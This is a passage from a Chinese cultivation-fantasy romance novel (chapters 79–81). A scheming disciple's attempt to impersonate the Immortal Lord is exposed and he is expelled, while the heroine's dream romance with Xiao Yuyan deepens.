看着已经到了迷魂石发挥作用的时间后,他不着痕迹地催动了能模仿仙尊灵气的法宝。 同时他的面色,也带上了几分怀念,仿佛是在看久别的故人般,声音带着跨越了时间的叹息: “晚辞。” “你这是何苦。” 许晚辞在周围熟悉的灵气涌现的那一刹那,神经倏地绷紧。 只是经历三叶莲与带着仙息的灵团之后,她对清衍仙尊的灵气已经非常熟悉,所以很快便察觉出了灵气的不对。 她回忆楚青川进入院子后的每一个反应,又抬头看向楚青川的表情,心中升起了一个不可思议的念头: 难道他想在她面前,伪装清衍仙尊? 这时,楚青川已经缓步朝着她走来。 他伸出手,想要触碰她的脸颊,带着红痣的左手,一点点的靠近她,手上满是‘仙尊’的灵气。 许晚辞在他靠近的那一瞬,九霄剑落入手中。 她并没有生气,她只觉得身前的楚青川,根本比不上她梦中那人的分毫。 感受着他模仿的灵气,只让她觉得厌恶。 她未曾留手,一挥剑,带着大乘气息的剑气直冲他而去。 楚青川根本没有想到她能在他这样完美的布局中保持清醒,他来不及反应,只能堪堪护住自己的要害。 可是这一击太过强大,他旧伤加新伤,丹田之上,已经有了裂痕。 他周身用灵宝模拟的仙尊气息,也瞬间消散。 这一刻,察觉到不对的宁孟澜与几位长老,全都来到了小院中。 楚青川余光看到他们的身影,咬着牙忍住身体的疼痛,一字一句道: “我不过是与许师妹说了几句话,你为何对我下如此狠手?” 他还想继续说些什么,忽然听到了叮的一声。 是灵宝落地的声音。 他下意识朝着声音所在的方向看去: 那是他身上,能模仿仙尊灵气的万灵水。 大长老见多识广,率先认出了它: “这是能模仿世间一切灵气的至宝!” 这时宁孟澜也反应了过来: “方才仙尊的气息,是你!” 叮,又是一声。 这一次从楚青川身上掉下来的,是迷魂石。 楚青川脸色惨白: 完了! 这下他几日来的筹谋,彻底没有了用处,说不定还会给他带来让他没有办法承受的后果。 他的运气,怎么会差到这种地步? 第79章 只有他,要她只爱自己 迷魂石虽然罕见, 可在这里的人都是修仙界修为顶尖的修士,只看了一眼,便知晓了它为何物。 顾云绮眯起眼睛,明艳的脸上带着刺骨的寒意: “迷魂石, 能混淆修士认知的至宝。” “就连渡劫修士稍不注意, 都会中招。” 她手中的灵气汇聚, 杀气腾腾地看着倒在地上的人:“楚青川, 你真是该死。” 一个是能模仿仙尊灵气的万灵水, 一个是能混淆修为认知的迷魂石。 其他人也都反应了过来。 宁孟澜想起那日百阵峰峰主的汇报, 怒目圆瞪: 原来楚青川前段时间搔首弄姿, 居然是为了…… 他此次回太清宗,是想要在许晚辞面前,伪装成清衍仙尊。 只要他能成功, 那以许晚辞对仙尊的痴情…… 想到这里, 宁孟澜一挥衣袖, 声音带着不曾掩饰的怒气: “楚青川,我太清宗留不得你这般小人!” 楚青川听到他的话,蓦然攥紧了双手。 他已经失去了江家的助力, 不能再失去与太清宗的关系了。 即便已经在众目睽睽之下被戳穿诡计,他依旧不要脸面的辩解: “师尊,弟子只是心悦许晚辞, 不忍她一直受百年前的记忆困扰, 这才……” “一时走了岔路。” “弟子根本不想伤害她, 弟子只是想要帮她啊!” “然后就能顺理成章的得到她身上的所有机缘。”谢听白声音带着从未有过的嘲讽,“得到她身上的气运, 得到她身后大半个修仙界的全部助力。” 他周身温润的气息在这一刻凌厉起来:“真是好算盘。” 楚青川被他戳穿了内心的想法,依旧不肯承认, 咬着牙道: “七长老在说什么,青川听不明白。” 顾云绮手中的灵气已经汇集在了一起:“没关系,你马上就能明白了。” 就在这时,又是叮的一声。 这一次,从他身上掉下来的,是能毁坏宗门灵脉的侵毒液。 侵毒液极为难得,一滴便能污染宗门灵脉,污染宗门秘境。 楚青川如今身在太清宗,若是他对太清宗动了心思……那宗门必定会损失甚大。 天际之中。 萧玉衍看着楚青川身上一次次被他清空,却又依旧能从身上继续生长的气运,面色未变。 他听着自己心中无数的声音,只是站在原地,专注而固执地,把楚青川身上的气运,再次转移到许晚辞身上。 被天道偏爱的人,应该只有她,才对。 下界之中,宁孟澜看着落在地上的侵毒液,?? 脸上的怒气平息,只剩下了一片死寂的冷漠。 他一挥手,封住了楚青川的经脉和声音,对着几位长老沉声道: “此事干系甚大,还要麻烦执法殿介入了。” 大长老与二长老都明白事情的严重性,肃穆地点了点头: 在真言石和明魂器前,楚青川根本不可能隐瞒什么。 宁孟澜看着楚青川被带走后惊恐的眼睛,仿佛已经知晓了答案。 没有想到他千挑万选了数百年,最后却选了这样一个歹毒小人做了自己的亲传弟子。 他叹了一口气,看向许晚辞的目光满是歉意: “晚辞,是我识人不清,才会有今日……” 许晚辞仿佛是有些累了,她轻轻摇了摇头,声音带着一丝倦意: “人心本就难测,与宗主有何干系?” 宁孟澜看着她疲惫的模样,有些内疚道: “那晚辞你好好休息。” 几日后,谁也不知道楚青川在执法殿中到底交代了什么。 只知道太清宗彻底废去了楚青川太清宗弟子的身份,销毁了他的命牌。 太清宗在他体内的功法,也被尽数废去。 楚青川从曾经的天之骄子,一夜之间,坠入了泥潭。 许晚辞并未过多关注楚青川。 她知晓,以他的气运,就算身处绝境,也能不用付太多代价的,找出一条生路。 就算此次重伤,想必不日后便能重新来过。 她坐在暗玉桌前,看着前方枝繁叶茂的幻颜树,罕见的没有修炼。 暖融融的阳光洒在她的身上,微风拂过她的发丝,让她眼中多了几分困倦。 想起楚青川今日的作为,许晚辞闭上双眼,心中却忽然不受控制地起了梦中的那人。 那个只属于她的……清衍仙尊。 曾经被修炼压制下的思念,丝丝缕缕的翻涌。 许晚辞感受着心中涌起的困意,任由自己在清风中睡去: 她只是有些累了。 想休息一下。 仅此而已。 再次醒来时,许晚辞看着周围的景象,没有了曾经的警惕,心中反倒是带上了一丝微弱的欣喜。 梦境中,已经过去了三月。 原身的天赋在墨霜圣兰的淬炼之下有所提升,修为也晋升到了练气七层。 只是原身修为提高后,无法接受从世家小姐到太清宗普通外门弟子的落差,依旧如同先前一般独来独往。 这一次,原身也是接了一个远离其他弟子的任务。 寻找四品灵田中的异变的灵植。 许晚辞整理着脑海的思绪,有些无奈地眨了眨眼睛: 梦境之中的经历,和她记忆中的原著,越来越像了。 她看着前方灵气浓郁的灵田,手中练气期的灵气逐渐汇聚。 她对灵气向来十分敏感,从灵田中找出灵气异常的灵植,对她而言并不算困难。 许晚辞游走在灵田之中,虽然面色看起来依旧平静,脚步却比之前轻快了些许。 果然,如她想象的一般。 就在她找到第三株异变灵植时,身后传来一阵让人无法忽视的灵气波动。 许晚辞唇角扬起一个无奈的轻笑: 如今她修为只是练气,若不是某人的默许,她怎么可能能察觉到碎虚至尊到来时的灵气? 她收下手中的变异灵植,轻笑着转过了身。 萧玉衍看着许晚辞活泼灵动的身影,数日来日夜不息的欲望,在这一瞬间,终于得到了满足。 可是…… 他看着她站在原地,笑盈盈地看向她,眼中仿佛只有他一人的模样,心中的欲望变得更加贪婪: 只是见她,不够。 他还想…… 萧玉衍眸色变暗了少许,却在下一瞬被理智牢牢压制。 可他周身的灵气却已经先于他的意识,将不远处的身影包裹。 感受着许晚辞的气息,他收回灵气的指尖,抬起,却又放下,最终却什么都没有做。 他任由他的灵气,放肆的游走在许晚辞的周身。 萧玉衍一步步向前走去,声音温柔中带着一丝微不可查的低哑: “晚晚。” “我很想你。” 他记得他们的每一次相遇,也记得她说过的每一句话。 她说,她希望下次见面时,他问得是‘你有没有想我?’。 可比起询问,他更喜欢回答。 许晚辞察觉到了周围隐隐的带着霜雪气息的灵气,眼中没有什么不喜,反倒是带着一丝默许。 比起楚青川身上那甜腻的冷香,她只觉得萧玉衍的气息,干净凌冽,让人感之便心旷神怡。 更何况,以萧玉衍的修为,若是他想隐瞒,她也根本不会察觉这些灵气。 她也往前走了两步,声音轻快: “怎么每次都这么巧?” 许晚辞在他身前站定,眼中虽有笑意,但更多的是认真: “我也想你了。” 早在这一次入梦之前,甚至更早,她就已经做出了选择。 她做出了决定之后,就不会纠、结不会犹豫,更不会后悔。 她只会坚定的走下去。 听到许晚辞的回答,萧玉衍蓦然怔愣在了原地。 他知晓曾经的她对他,大都只是几面之缘的相熟。 虽然她眼中也有亲近,但是他也能察觉到她身上隐隐透露出来的疏离。 这是第一次,他感受到了她真切不加掩饰的思念。 这一刻,他心中所有的欲望,所有的渴求,随着她的一句话,乖顺的蛰伏下来,再也掀不起一丝波浪。 萧玉衍听着心中沉寂下来后,依旧喃喃有声的低语,看向身前人的目光专注到已经与执着无异。 这是他的……唯一。 是他在这个世界,唯一的关联与羁绊。 如今,羁绊的另一端,也在向他靠拢。 许晚辞没有抬头,也就没有看到身前人的目光。 她感受着围绕在她周围越发清新凌冽的灵气,右手蠢蠢欲动。 她手中练气七层的灵气,学着某人的模样,像模像样的缠到了他左手的手腕之上。 萧玉衍的左手蓦然绷紧,纤白但又有力的手腕之上,一粒小痣,红得蛊惑人心。 缠绕在他手腕的细弱灵气也察觉到了红痣的存在,放肆的在上面摩挲了几下。 萧玉衍感受到灵气的动作,整个人都僵硬在了原地,耳尖也染上了一丝红意。 明明只是一道微弱到呼吸都能吹散的灵气,他却任由它动作,绷紧的左手,也从未收回分毫。 几息之后,许晚辞察觉到自己灵力已经快要耗尽的丹田,有些恋恋不舍的收回了灵气。 只是,比她更加不舍的,好像是身前这个人。 她感受着周围一瞬间沉默黯淡了些许的灵气,抬眸看向萧玉衍。 四目相对时,她清晰地看到了他眼中专注到仿佛这个世界只有她一人的目光。 他安静地看着她,任由她靠近,也任由她离去。 他对她纵容到,好像她对他做什么,都被允许。 许晚辞的指尖动了动,最后稍显无奈地勾住了他的左手: “好不容易见一面,我们就不要在太阳下挨晒了。” 她晃了晃右手:“一起去其他地方看看吧?” 萧玉衍在她勾住他左手的那一霎那,周身的气息仿佛凝固了一般,清寒的冰寒之气不受控制的溢散,可落在身侧人身上时,却只剩下了落雪般的温柔。 他感受着左手温热的触感,声音轻得仿佛是害怕打破眼前如同幻境一般的美好: “好。” 两人如同修仙界中普通修士一般,缓步走在太清宗的灵田之中。 只是无论走在哪个方向,萧玉衍的影子,都恰好挡住了耀眼的阳光,给许晚辞留下了一片清凉。 他被身旁人勾住的左手,也一点点上移,直到最后,两人十指相扣。 走到一片幻颜树树林中时。 许晚辞看着漫天飞舞的幻颜树落叶,眼睛微弯: 来到修仙界后,幻颜树是她谎言的开始,也是陪伴了她一路走来的存在。 她鲜少离开万剑锋,所以也就不知晓,原来太清宗中,有这样一片幻颜树林。 她像是看到了什么,松开身侧人的手,步伐轻快地走到了一棵幻颜树下。 她拿着一片树叶,眼中带着一丝惊喜: “你看,是湖蓝色的幻颜树树叶。” “这颗幻颜树,怕是要升阶了吧?” 萧玉衍扫了一眼自己空落落的左手,心中的欲望在她松手的那一刻,疯狂上涌。 得到之后,他再也不愿意接受失去。 他眼中暗色显现,身上的灵气也朝着身前如潮水般涌去。 可是,在听到许晚辞亲近信任的声音时,他眼中暗色稍退。 他忽然想起在天际之中时,他听到的她的声音。 她说: “有些人,只要见一面就够了。” “已经足够铭记一生。” 她说,他对她而言,不是痛苦,从来不是。 萧玉衍心中的欲望仿佛被什么戳痛,挣扎着褪去,他想起了这段时间,他在天际之中的迟疑。 他声音是带着愧疚的温柔: “对不起。” “让你等了这么久。” 百年前的这几个月中,她是不是一直都在等待,等待他的到来。 如同百年后一般。 许晚辞听到他的声音,反应了几息,才意识到他说得究竟是什么。 她根本没有放在心上。 莫说是在梦中,就算是现实,她也不会因为两人没有办法经常见面而困扰。 她也有自己的事情要做,有自己的路要走。 这条路,有人陪着固然很好,可是一个人,她依旧坚定地走下去。 许晚辞把幻颜树叶小心地放在地上,然后抬头认真地看着不远处的身影: “你不用道歉。” 她眼中没有一丝责怪: “你是仙尊,是修仙界中唯一一位碎虚至尊,要做的事情,肯定很多。” “忙起来没有空闲,也是一件很正常的事情。” 说到这里,她笑得轻快: “而且我也很忙的。” “我每日都要完成宗门任务,还要修习课业,空余时间还要用来修炼。” 她声音是与练气修为完全不匹配的强大与坚韧: “我想成为这世界上最强大的人,能够保护自己,能够不怕任何危险,自由自在的活着。” “我会为了这个目标一直努力,无论身边有没有其他人陪伴。” “这个目标,不会被任何人改变。” “那怕是我喜欢在意的人。” 萧玉衍看着阳光下,许晚辞熠熠生辉的双眸,心中那颗以爱为养料的种子,寸寸生长,压过了他心中所有的欲望。 他爱的,永远都是这个强大坚韧,不屈于命运的灵魂。 他一步一步朝着她走去,声音带着一丝沙哑: “若是你喜欢的那个人,有一天离开了,怎么办?” 许晚辞眨了眨眼睛。 或许是因为这是在梦境之中,又或许是因为她想让萧玉衍看到真正的自己。 她并没有和现实一般,对自己深爱之人表现的深情不悔、生死与共,而是理智平静道: “可能会伤心,但是伤心的时间不会太久。” “我依旧会继续向前,为了实现自己的目标,拼尽全力。” “我一个人,也会活得很好很好。” 这时,萧玉衍已经走到了她的身前。 两个人之间的距离,近的能听清彼此的呼吸声。 她本以为他会不满她的回答,又或者会希望他在她心中的地位,能更高一些。 所以,当看到他眼中真切而温柔的笑意后,她怔愣了一瞬,然后就听到了一个温柔但认真的应答: “本应如此。” “这世间,不应该有任何一个人,比你自己更重要。” 萧玉衍压住了心中所有汹涌的欲望,压住了所有想要占据她一切的贪婪。 他一只手拂去她肩侧的落叶,轻描淡写道: “如果那个人真的爱你,那他自然会回到你的身边。” 听到他的声音,许晚辞的瞳孔收缩了一瞬。 这曾经是她最真切的想法。 现在……也是。 可是,从他口中听到,她心中的情绪却复杂到她根本理不清楚。 她并没有隐藏自己的情绪,轻声问道: “那要是他没有回来呢?” 萧玉衍的声音缱绻中带着对自己的冷漠: “那就只能说明他不够爱你。” 他叹息道: “忘了他。” 许晚辞握住他从她身侧放下的手,缓缓用力: “包括你么?” 萧玉衍轻声回复: “尤其是我。” 这一刻,许晚辞的心跳再一次失控。 她下意识低头,不让任何人察觉到自己的情绪: 修仙界的所有人,都在惊异于她的深情,每个人,都希望自己能被这样深情的对待。 甚至为此扭曲她的记忆。 楚青川、言朔,都是如此。 只有身前的人,要她只爱自己。 许晚辞闭上双眼: 这个梦,真是让人愈发想要沉沦。 让人不想离去。 可是,梦境终会结束。 再次睁开双眼时,她神情已经恢复了曾经的平静。 她抬起头,看着萧玉衍那足以让万物失神的双眸,她轻轻地扬起了唇角,绕过了这个话题: “萧玉衍。” “原来你知道啊。” “我喜欢你这件事。” 萧玉衍心中那颗种子,随着这句话,终于长大,含苞吐萼。 一瞬间,这世间好像都化作虚无,只有眼前的人,真切地站在这里。 他的心跳,混乱至极,却又欢喜至极。 许晚辞的声音依旧在继续: “你怎么知道,等待的过程,会难熬呢?” 就算注定要离去,这段梦境对她而言,永远都与难熬二字无关。 它是她甘心为之沉迷的美好。 萧玉衍怔怔地看着她。 这一刻,他清晰的听到了自己心中花开的声音。 第80章 萧玉衍,我一直在 萧玉衍听着许晚辞的话, 心中欣喜与酸涩混杂在一起,目光竟然少见的带上了一丝轻颤。 他希望她能开心,永远自由,永远都能得偿所愿。 他不想用百年前几次的见面, 困住她的一生。 所以, 纵然心中所有的欲望都在叫嚣着让他留住她, 困住她, 让她永远都只爱他一人。 他依旧理智而决绝的, 希望她能忘了他。 他希望她, 永远为自己活着。 可是, 在听到她说等待对于她而言,并不难熬,甚至是一种期待后, 他再也没有压抑自己的情绪。 他眼中宛若落入了万千星辰, 可这星辰, 却只映着一人: 原来他对她,并不只是痛苦。 萧玉衍周身的灵气铺天盖地地将许晚辞环绕,他第一次顺从了自己的欲望, 抱住了身前的人。 他用力到仿佛要将怀中人刻入骨血,却又偏偏没有让她感觉到一丝禁锢与不适。 他认真的念出了她的名字: “许晚辞。” 他的声音,一字一句地融入了天地之间, 是告白, 也是誓言: “你的名字, 将永远镌刻在我的灵魂之上,只要我还剩一丝意识, 这一丝意识也会记住爱你。” “直到我的灵魂彻底消亡。” 许晚辞感受着怀中清冽的气息,有些认命一般, 把双手环在了萧玉衍的腰际。 她每一次的付出,也不过只有一分。 可是他却还了她十分,甚至更多的反馈。 没有人能抵抗这样的爱,包括她。 她从来吝啬自己的情感,她从来要求自己清醒理智。 可这一刻,她缓缓闭上双眼。 放任自己心动,放任自己沦陷,放任自己爱上一个不存在的虚影。 漫天的幻颜树下,夕阳的金辉洒在相拥的二人身上,像是一幅唯美而悲伤的画卷。 他们在心中都格外清楚故事的结局。 可是却没有一个人想要放手。 回到天际后。 即使萧玉衍这次回到过去,并未改变太多,身体内的灵气依旧开始暴动,然后衰减。 不远处能回到百年之前的那道漩涡,又变小了几分。 天际之中残存的天道之力看着身体又开始透明的萧玉衍,安静的蛰伏在原地。 没有理智,只能遵循本能的它们满是恶意的缩在角落: 它们知道萧玉衍的危险。 但,只要他一直往返于过去与现在之中,它们总有一天,能将他吞噬。 然后这世间,会按照曾经的规则,继续运转,再也不会有变数。 萧玉衍并没有在意周围蠢蠢欲动的天道之力。 他感受着自己体内已经接近于无的灵气,指尖微不可查的动了一下: 在每一次重塑灵气的过程中,他与虚无、与天道的牵扯,越来越弱。 属于他的部分,越来越多。 原来穿梭时空后之后的重塑,是拔出他与天道关联最有效的方式。 等到他摆脱这漫天虚无,他就能够再次站在她的面前。 在百年之后。 * 接下来的时间,许晚辞在现实中依旧努力修炼,未曾懈怠。 只是她也习惯了那个隔几日便会出现的梦境。 在梦中,她终于有了一处安心之地。 不用不顾一切的修炼,不用担忧楚青川身上逆天的气运,也不用担心该如何回馈其他人的善意。 只要她站在那里,就会有一个人无条件,无底线的包容她。 只是…… 她丹田中带着仙息的灵团,越来越小了。 如果她的猜测是对的,那么等到灵团消失,梦境也会随之结束。 梦境中。 许晚辞躺在萧玉衍的腿上,思索时下意识握住他的左手,摩挲着手腕上的那颗红痣。 萧玉衍感受着手腕上的触感,身体僵硬了一瞬,随即又接着放松。 他看起来面色平静,可身上的灵气,早已经一点点地将身侧的身影包裹,一丝灵气更是直接圈在了她的腰际,仿佛想要将她困住一般,缓缓用力。 每一次见到她后,心中所有的一切,都在诱惑着他离她近一点,再近一点。 只是见到,只是靠近,还不够。 就在这时,许晚辞察觉到两个人之间已经开始缠绵在一起,似乎变得不分你我一般的气息,终于回过了神。 她看着已经被她摩挲的泛起红意的手腕,像是想要做坏事一般,没有抬头,而是眨了眨眼睛,指甲在那粒红痣上,轻挠了一下。 她手中的手腕肉眼可见的僵硬起来,周围的气息也瞬间凝固。 下一瞬,萧玉衍的手腕一转,她作乱的手被他牢牢握住,再也不能动弹。 宽大有力的手将许晚辞纤细修长的右手完全包裹,却并没有太过用力,只是让她不能轻易挣脱。 他的右手也伸了过来,按住了她另一只蠢蠢欲动的手。 他的声音听不出什么责怪,反倒带着妥协似的无奈: “晚晚。” 许晚辞知道自己只要真正用力,萧玉衍一定会放开她。 可是她只是稍微挣扎了一番,就懒洋洋地躺了下来,不再动作: 动起来怪累的。 她每日修炼就已经够累了,在梦境中,还是好好休息吧。 感受着身旁传来的干净凌冽的气息,她唇角的笑意是少有的轻松。 就在这时,许晚辞像是发现了什么,把他的手拉到了面前。 看着因为萧玉衍的情绪波动,所以在袖口处隐隐作现的莲纹,她右手一滑,从他掌中逃脱,然后坐起身,一只手勾着他的袖口,一脸‘恶人先告状’地指责道: “你怎么能把那朵灵气捏成的静玉莲融在袖口呢?” 她扫了一眼那歪歪扭扭,勉强自己才能看下去的纹路,眼中的情绪带着一丝复杂: 即使是在一开始来到修仙界性命攸关的时候,她依旧能将自己的谎言完善,甚至勾勒出一个附和她身份的人设。 她向来喜欢把事情做到完美,就连面对死亡,她都尽可能让自己表现的从容。 所以,她鲜少有这样明显近乎黑历史的疏漏。 只因为,看着陪她采了两个时辰莲子的人,她理智少有的被她剥离。 所以,才会在修为还无法把控灵气的时候,捏出了那一朵只有简单线条的静玉莲。 那样稀疏的灵气,她本以为它过一段时间就会消散,根本没有想到萧玉衍会被它带在身边。 他好像比她想象的,还要在意她。 哪怕只是一朵看起来让人发笑的静玉莲。 许晚辞知晓那是曾经两人相遇时,她送与他的礼物,他珍视也是理所应当。 只是…… 她扫了一眼若隐若现的静玉莲,忍了又忍,实在没有忍住,晃了晃勾着他袖子的手: “萧玉衍。” “我再给你捏一个更好看的静玉莲怎么样?” 她感受了一下自己练气八层的修为,目光真挚: “我现在能捏出它的颜色,甚至还能带上它的香气。” 说到这里,看着萧玉衍不为所动的面色,她继续加重筹码: “我给你捏两个,不三个!” “你换掉这一个,好不好?” 看着许晚辞双眼亮晶晶,满是期待地看向他的模样,平时对许晚辞予取予求的萧玉衍,这一次却并没有应答。 他一伸手,将她揽入怀中,一只手禁锢在她的腰间,另一只手握住了她的手。 他下巴搭在她的肩侧,并没有明确的拒绝,只是小心地隐住了袖侧的莲纹。 他声音如同轻雪一般,带着清冽的温柔: “我很喜欢它。” 说到这里,他垂眸看着怀中人如瀑的青丝,他认真地补上了一句: “我最喜欢你。” 许晚辞听着他的声音,勾着他袖口的小拇指松了些许: 这段时间,萧玉衍越来越知道如何让她心动了。 可偏偏她能听出他每一句话,都从未掺杂一点虚假。 她心中已经想要妥协,可是在妥协之前,她依旧不死心道: “可是它不好看。” 萧玉衍察觉到了她态度的松动,揽着她的手缓缓用力,逐渐将她嵌入怀中。 “好看。” “这是我见到过最好看的静玉莲。” “不。” 他的下巴轻轻蹭了蹭怀中人的发顶,声音温柔的如同一声叹息:“它是我见过最好看的灵植。” 听到这里,许晚辞松开了勾住他袖口的手。 她撑着萧玉衍的手,从他怀中起身,抬起 头笑着看向他: “那捏静玉莲的人呢?” “是你见过的最好看的人么?” 她知道,他只会说是。 可他的回答,是她从未想过的答案: “在见到你之前,我的眼中,从来没有其他人。” 许晚辞微微一怔,抿唇又问了一句: “那物呢?” 萧玉衍看向她的目光,静谧而专注: “只有你。” “从来只有你。” 许晚辞听着他的回答,心中翻涌的,不是欢喜,而是酸涩。 她忽然想起了原著中的清衍仙尊。 那个强大淡漠,世间没有一丝牵挂,最终以身祭天的清衍仙尊。 原著中,等到楚青川成功飞升,修仙界中,便再也没有了他的一丝痕迹。 甚至没有人想要记住他的名字。 许晚辞撑着萧玉衍的手缓缓用力,她凑近他,在他唇侧,落下了一个轻吻: “萧玉衍。” “我一直在。” 在梦境中,她的眼中,也只会有他一人。 她还未曾退离,一只手就覆在了她的脑后,接着,是一个缠绵的吻。 在这里,他们的眼中,永远都只有彼此。 * 许晚辞天赋在灵团的改造之下,已经成为了与江秋宁一般的天灵根,她的神识又足以与渡劫修士媲美。 所以,不过才半月,她就稳住了其他修士或许需要数年才能稳住的大乘初期修为。 又是半个多月的时间,她的修为逐步朝着大乘中期而去,晋升渡劫,也只是时间问题。 只是修为越高,她便越能察觉到每个等级修为之间的差距。 这样的差距,她却从未在萧玉衍的身上感受到。 明明梦中的她不过是还未曾筑基的修士,他却已经是修仙界唯一的碎虚至尊。 可两人在一起时,莫说修为的差距,她就连一丝压迫都从未感受到。 甚至他围绕在她身旁的灵气,她都能轻易察觉,也随时都能拒绝。 想到这里,许晚辞侧头看向身侧的人。 即使这几日她经常在梦境中见到他,已经习惯了他清贵俊美的外貌,可见到他的侧颜后,她的呼吸依旧不自觉的停顿了一瞬。 萧玉衍的心神一直都放在她的身上。 他停住脚步,看向她的目光带着一抹清浅的疑惑: “晚晚,怎么了?” 许晚辞回过神来,她回忆着两人的曾经,发现他从未在她面前显露过自己的修为。 使用灵力时,也总是小心翼翼,从未让她察觉到两人之间的修为差距。 可两个人在一起,并不需要这样小心谨慎。 想到这里,她晃了晃两人交握的手: “萧玉衍。” “从见你的第一面起,我就知道你的强大,也知晓你是这世间,唯一的碎虚修士。” “所以,你不必为了我隐藏自己。” 她抬起头,眼中没有自卑、没有隔阂,只有坚定: “我们之间修为的差距,只会让我更加努力,努力变得和你一样强大。” 萧玉衍看着她璀璨明亮的双眸,心中发出了一声叹息: 每见她一次,他好像就会更爱她一分。 爱她的灵动,爱她的坚韧,爱她看向他时,那满是信任与专注的双眸。 即使早在很久之前,他对她的爱,已经刻入灵魂。 听着心中从见到许晚辞后,就逐渐变弱的声音,他忽然明白: 不是他能够自如的克制欲望,而是面对她,他所有的欲望都会得到满足。 她一直在用自己的方式……爱他。 他一点点握紧她的手:“好。” 听到他的回答,许晚辞像是想到了什么,转过头道: “我们好像一直都在太清宗中……” 她话音未落,萧玉衍便明白了她言下之意,轻笑着问道:“晚晚想去哪里?” 许晚辞一只手支着下巴,想起自己这段时间内闲暇之余看得灵植书籍,若有所思道: “听闻雨眠果酸涩非常,无人敢食,越是高品阶的雨眠果,便越难吃,是真的么?” 若不是她提起,萧玉衍根本不会在意一个普通灵果。 他的灵气围在她的身边,一只手挡在了她的眼睛之前,手中的灵气轻柔地抚平她空间波动时那一丝微弱的不适。 一息后,他放下手: “我们到了。” 许晚辞根本没有任何感觉,她看着面前这一棵怕是已经有上千年,早已到达九品的雨眠树,略显迟钝地眨了眨眼睛。 她怎么记得看得那本书中,雨眠树的最高等级,是七品? 这就是萧玉衍的强大么? 几乎已经能与世界的规则相媲美的强大。 就在她愣神之时,萧玉衍已经将雨眠果递到了她身前。 她如今修为尚低,不能承九品灵果带来的灵气。 所以在取下雨眠果的那一瞬,他已经用灵气将它清洗,让它成为了最适合她如今修为的灵果。 灵果的灵力被削弱,想来也不会太过……酸涩。 许晚辞接过雨眠果,嗅着它泛着甜意的清香,她谨慎的咬了一小口。 仿佛能触及灵魂的酸涩直接在她口中炸开。 怎么能这么酸?! 萧玉衍看到她一瞬间凝固的表情,眉头皱起。 他把手放在了她唇边: “快吐掉它。” 许晚辞没有听他的话,除非已经到超过了身体能忍受的极限,否则她不会让本能盖过她的反应。 即使酸的话都说不清,她的表情却没有一点扭曲,好像是在注重形象一般,连抽气声都放得很轻。 她微蹙着眉,囫囵吞枣地把口中的雨眠果咽了下去。 萧玉衍看着她‘固执而又坚强’的模样,心中又是心疼,又是无奈。 他手中灵气一动,把一枚指节大小的甜灵果递到了她的唇边。 许晚辞看到后,想也不想的吃了下去。 感受着口中涌现的甜意,她绷紧的身体终于松了下来。 她低下头,看着手中只咬了一口的雨眠果,咳嗽了一声把它递到了萧玉衍身前: “其实……也没有那么酸。” “你要不要试一试?” 萧玉衍看着她略显心虚的目光,唇角的笑意加深。 他没有犹豫,微微俯身。 不等他碰到雨眠果,许晚辞就收回了手。 算了。 一个人被酸到就够了,何苦两个人一起? 她看了他一眼,叹了一口气道: “下一次我若是想不开,想吃雨眠果,你一定一定要拦着我。” 萧玉衍握住她拿着雨眠果的手,送到唇边咬了一口。 咽下后,他声音认真: “我会记得。” 许晚辞看到他的动作后,根本来不及制止,她使劲抽回自己的手: “你不怕酸么?” 萧玉衍看着她眼中的关切,眼中含笑:“是有点。” 他轻描淡写地把话题揭了过去:“晚晚接下来想要再见什么?” “想见甜的灵果。”许晚辞看了他一眼,便移开了视线,“要甜得能盖过酸涩的灵果。” 萧玉衍往前一步,把她揽入怀中:“好。” 他从来尝不到酸苦。 可他却能感受到甜意。 也能感受到灵魂深处的餍足。 这一次从梦境中醒来时,许晚辞唇角带着自己都没有察觉到的轻笑: 萧玉衍带着她,尝遍了修仙界无数修仙界罕见的灵果。 虽然她并没有看见,却能从入口温和的灵气中,察觉到他的作为。 他将所有的灵果,都淬炼成了最适合她的样子。 她梦境中的身体,也被这些灵果改造,天赋比墨霜圣兰的淬炼,居然还要快上几分。 他真的让她,不想放手。 许晚辞看着湛蓝的天际,有一瞬间,觉得梦中人,仿佛真实存在一般。 可是很快,她就压下了这个想法。 梦中的一切,虽然她无法预测,可是一开始,却都是基于她自己的想法: 雨眠果,是因为她现实中的好奇。 而吃下的大多灵果,她也都曾在书籍上看到过。 许晚辞移开了视线,感受着丹田中越发缩小的灵团,她的手覆在九霄剑化作的手环之上: 她应该……修炼了。 几日后。 修仙界中天降异象。 至宝出世。 这次至宝所在的方向,隐隐带着仙气。 所有人都知晓,仙气,是飞升的关键。 80-90 第81章 许晚辞,你敢进问心镜么? 漫无边际的七冶大漠中。 楚青川身形狼狈, 身上的衣服也破破烂烂,再也看不出曾经那个受天道偏爱的气运之子的模样。 他身体中那些在太清宗学到的功法,已经全部被废,本就重伤的身体, 如今更是雪上加霜, 修为都有了倒退回化神期的趋势。 至于他的神识, 更是受伤颇重。 更让楚青川慌乱的, 是神器炼神书。 炼神书居然已经开始抗拒他的使用。 再过一段时间, 恐怕他连炼神书第一页, 都翻不开了。 楚青川压下心中的惊慌, 他想起这几日来的经历,眼中满是阴狠的暗色?? : 离开太清宗后,他无处可去, 只能去白家。 可是白家主大抵是觉得他已经没有了利用价值, 看似对他客气有礼, 实则连一个恢复伤势的灵宝都没有给他。 还有一些白家人,更是在看到他身上的伤势后,面露嘲讽, 更有甚者想逼他离开白家。 若不是白挽衣对他深情不已,冒着让白家主厌弃的风险为他提供了不少灵药,怕是他现在连灵气都不能使用。 楚青川面无表情地擦去了脸上的血迹。 他至今仍然不明白, 那一日他的计划为什么会失败。 明明那个计划堪称完美, 根本没有任何疏漏。 迷魂石乃是修仙界顶尖至宝, 能直接改变人的认知,连渡劫修士都无法抵抗, 更何况刚刚大乘的许晚辞? 更何他还伪装出了仙尊的特征与灵气,在迷魂石下, 她根本不可能发现不对才是。 最让他无法理解的,是她的那一剑。 根本没有任何留手,直奔死穴。 她不是深爱清衍仙尊么? 不是为了清衍仙尊那万分之一活着的可能,不顾一切么? 历经百年的等待,见到这样一个与清衍仙尊相似的人站在她面前,她为什么连一丝犹豫都不曾有,就直接出手? 楚青川脑海中闪过了一个念头,快得自己都没有抓住。 一阵卷着黄沙的风吹来,他回过神来,看着前方的结界。 离开白家后,他拖着重伤的身体,感受着冥冥之中的指引,最终来到了这里。 感受着结界中隐隐外溢的仙气,他收回所有疑虑,眼中带着抑制不住的激动: 他有预感,只要得到这里的机缘,莫说他身上的伤势,怕是他的修为,都有可能晋升到渡劫。 想到这里,楚青川缓缓呼出了一口气。 